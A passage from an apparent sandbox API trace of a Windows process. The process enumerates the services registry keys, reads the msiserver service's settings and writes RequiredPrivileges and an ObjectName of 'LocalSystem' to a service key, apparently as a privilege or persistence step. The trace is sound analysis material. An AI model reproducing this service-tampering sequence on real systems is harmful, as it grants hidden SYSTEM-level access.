| out: lpName="gupdate") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0245.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0245.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0245.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0245.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0245.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0245.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0245.894] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0245.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0245.894] RegCloseKey (hKey=0x154) returned 0x0 [0245.894] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0245.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0245.894] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0245.895] RegCloseKey (hKey=0x80000002) returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0245.895] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0245.895] RegCloseKey (hKey=0x148) returned 0x0 [0245.895] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0245.896] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0245.896] RegCloseKey (hKey=0x154) returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0245.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0245.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0245.898] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0245.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0245.899] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0245.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0245.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0245.948] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0245.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0245.948] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0245.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.948] RegEnumValueA (in: hKey=0x14c, 